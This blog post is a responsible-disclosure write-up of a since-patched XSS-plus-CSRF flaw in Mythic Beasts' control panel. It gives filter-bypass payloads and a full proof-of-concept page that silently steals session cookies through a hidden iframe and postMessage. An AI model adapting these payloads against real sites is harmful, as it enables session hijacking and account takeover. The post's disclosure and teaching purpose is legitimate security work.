Arinerron's Blog



This is a technical writeup about a vulnerability in Mythic Beasts that led to total account compromise, and why being able to chain XSS with CSRF is so dangerous.

Background

I'm a volunteer cybersecurity engineer at The Gwiddle Foundation. It is my job to test websites and services that we use for vulnerabilities in order to protect users. So it began on the morning of September 4th, 2017. I was just testing a few fields on our sponsor's website (Mythic Beasts) for reflected XSS, and to my surprise, I did find one field that was vulnerable.

The domain-searching feature did not sanitize domain names before writing them to the page. When I would enter in a domain name that contains an XSS payload, it would write about 10 versions of the domain with different TLDs to the webpage without sanitizing. Also, because domain names like <svg onload=alert(1)>.com are invalid, there were also error messages that were not sanitized on the page. So the payload would execute a total of 20 times on the page.

Later that night when I had more time to test, I checked for CSRF protection to see if it would be possible to exploit the reflected XSS vulnerability cross-site. There was no CSRF protection on the domain-searching form. And so, I decided to design a proof of concept webpage that would exfiltrate the session token from Mythic Beasts and write it to the page.

Here's how I planned for the PoC webpage to work:

  1. The webpage would contain JavaScript to submit a form when the page loads to the domain-searching page, but because target was set to the id of an iframe on the webpage, the form would be submitted to the iframe (so the current webpage wouldn't change, and everything could happen in the background).
  2. The parameters submitted with the form would contain the reflected XSS payload. The XSS payload would be written to the vulnerable webpage, and because it was not sanitized, it would be executed.
  3. The XSS payload would use window.top.postMessage() on the vulnerable webpage to send the cookies cross-site to the webpage that was exploiting the vulnerability.
  4. Once the webpage exploiting the vulnerability received the cookies, it would get the session token and write it to the page.

Basically, by viewing a specially crafted webpage, you would have unknowingly submitted a cross-origin POST request to mythic beasts that contained an XSS payload that would execute. The payload, in very simple terms (and without completely describing what it does), would send the cookies (document.cookie) which contains the session token back to window.top (the original page that was exploiting the vulnerability) via window.postMessage().

Exploiting the vulnerability

  1. The vulnerability seemed simple to exploit at first. Just make a POST request containing an XSS payload to send the session token back to you, right? Well, there were a couple of filters put in place:
    • There was a relatively short limit to the number of characters that the domain could contain, so it had to be a very small payload.
    • The characters ., ", ', and / were not allowed in the payload. You could encode them using HTML entities, but as mentioned in the above point, the payload had to be short, and I did not have room for HTML entities.
  2. My goal, as mentioned before, was to be able to execute the JavaScript: window.top.postMessage(document.cookie, "*") to send the cookies back to me. However, because the payload had to be short, I did not have room in the payload to execute that. So I came up with this after some testing: <svg onload=eval(window&#46;search&#46;split(9)[1])>. Basically, it evals (executes) the code in the page URL that is after the character 9.
    • The string &#46; is just the HTML entities encoded version of a period (.).
    • I was going to make it execute the code after a parameter like cmd or something more readable, but the problem was that I did not have enough room in the payload to put HTML entity-encoded quotation marks.
    • Without quotation marks, the string is treated as a variable (one that does not exist). However, if I use an integer like 9, I do not need quotation marks.
  3. Now that I can execute code that is after the character 9 in the URL, I would just make the URL that the form posts to https://ctrlpanel.mythic-beasts.com/customer/newdomain?9window.top.postMessage(document.cookie, "*"), right? Well, nope. I was getting a syntax error, because the browser URL encoded the parameters in the URL. Oh, that's a big problem. I needed to write JavaScript to be able to decode URL-encoded strings and eval (execute) them. And that code must be syntactically valid, even when when URL-encoded. Then I realized that putting this in the URL would work: eval(decodeURIComponent(String(window.location).substring(55)))
    • That string, when URL-encoded, does not differ from the original string. It is syntactically valid JavaScript when URL-encoded.
    • What it does is it evaluates the string that is outputted when: substring is run on the URL to get only the URL parameters, because the length of the URL without the parameters is 55.
  4. Therefore, the final URL would be https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).
    • After evaluating the content after the ? character, it would run into some syntax errors once it hit the character 9. However, this can be prevented by putting a single-line comment (//) before the 9 but after the code we want to execute.

That was really complicated. Here's less detailed rundown of how it works:

  1. A POST request is submitted to the URL https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).
  2. The POST request contains an XSS payload that executes eval(window.search.split(9)[1]). That basically evaluates (or executes) the code after the character 9 in the URL, which in this case, is eval(decodeURIComponent(String(window.location).substring(55))).
  3. eval(decodeURIComponent(String(window.location).substring(55))) just evalutates the URL-decoded string that is after the 55th character. In this case, that would mean it evaluates the string window.top.postMessage(document.cookie, "*")//9eval(decodeURIComponent(String(window.location).substring(55))).
  4. The first part of our payload that executes is window.top.postMessage(document.cookie, "*"). This sends the cookies to us. The second part that executes is //9eval(decodeURIComponent(String(window.location).substring(55))). This is the code we used before to bypass the problem involving URL encoding. We can just put a comment before the 9 character, and we won't have to deal with it throwing syntax errors or whatever.

More information

Why is this dangerous? An attacker could potentially have exfiltrated victims' session tokens, and used them to register servers, change passwords, or perform any actions on the website that victims normally could without getting their usernames or passwords or ever logging in (and just by visiting an attacker's website).

How did Mythic Beasts respond? Mythic Beasts' security team was very kind, and they fixed the vulnerability relatively quickly. They even rewarded me with an Amazon gift card and wrote a blog post about the incident. Thanks a ton, Mythic Beasts!

Is this fixed now? Yes. Mythic Beasts is no longer vulnerable.

Edit: Here's a link to Mythic Beasts' blog post about this incident: https://blog.mythic-beasts.com/2017/10/06/education/.

Timeline of events:

Sep 04th, 2017: Vulnerability in Mythic Beasts identified.
Sep 04th, 2017: Vulnerability reported to Mythic Beasts security team.
Sep 07th, 2017: Vulnerability patched by Mythic Beasts security team.
Sep 07th, 2017: Requested disclosure (via blog post).
Sep 13th, 2017: Mythic Beasts security team allowed disclosure.
Oct 06th, 2017: Mythic Beasts security team rewarded Amazon gift card, thanks!
Oct 06th, 2017: Mythic Beasts published blog post: https://goo.gl/qvCij4
Oct 06th, 2017: This blog post was published.

Proof of Concept

This proof of concept no longer works, because the vulnerability has been patched. It is only here as an example of how this vulnerability could have been exploited.

<html>
    <head>
        <meta http-equiv="Access-Control-Allow-Origin" content="https://ctrlpanel.mythic-beasts.com/customer/newdomain">
        <title>PoC</title>
    </head>
    <body style="background-color: black;font-family: monospace;color: green">
        <iframe style="display:none" name="csrf-frame"></iframe>

        <form method='POST' style="display: none;" action="https://ctrlpanel.mythic-beasts.com/customer/newdomain?window.top.postMessage(document.cookie, &#x22;*&#x22;)//9eval(decodeURIComponent(String(window.location).substring(55)))" target="csrf-frame" id="csrf-form">
            <input type='hidden' name='_submitted' value="3">
            <input type='hidden' name='_page' value="1">
            <input type='hidden' name='_submit' value="Check+availability">
            <input type='hidden' name='search_what' value='quick'>
            <input type='hidden' name='domain_names' value=''>
            <input type='hidden' name='keyword' value="&#x3C;svg onload=eval(location&#x26;#46;search&#x26;#46;split(9)[1])&#x3E;">
            <input style="display:none" type='submit' value='submit'>
        </form>

        <script>
            // register an event listener for sending messages
            window.addEventListener("message", receiveMessage, false);
            var done = false;

            // this function is called when the mythic beasts iframe sends a message to window.top.
            function receiveMessage(event) {
                if(!done) {
                    done = true; // had to do this whole "done" thing because the payload actually executes about 20 times, so it spams the page.
                    document.getElementById("msg").innerHTML += "<br>Successfully exfiltrated session token: <b>" + String(event.data).substring(11) + "</b> (cookie domain is ctrlpanel.mythic-beasts.com)";
                }
            }

            // this would run after 6 seconds without receiving the message. it just alerts the user that it failed.
            setTimeout(function(){
                if(!done){
                    document.getElementById("msg").innerHTML += "<br>Failed to exfiltrate session token.";
                }
            }, 6000);

            // exploit it :)
            document.getElementById("csrf-form").submit();
        </script>

        <div id="msg">Exploiting CSRF+XSS vulnerability, please wait...<br></div>
    </body>
</html>


Article licensed under CC-by-nc-sa-4.0

Edit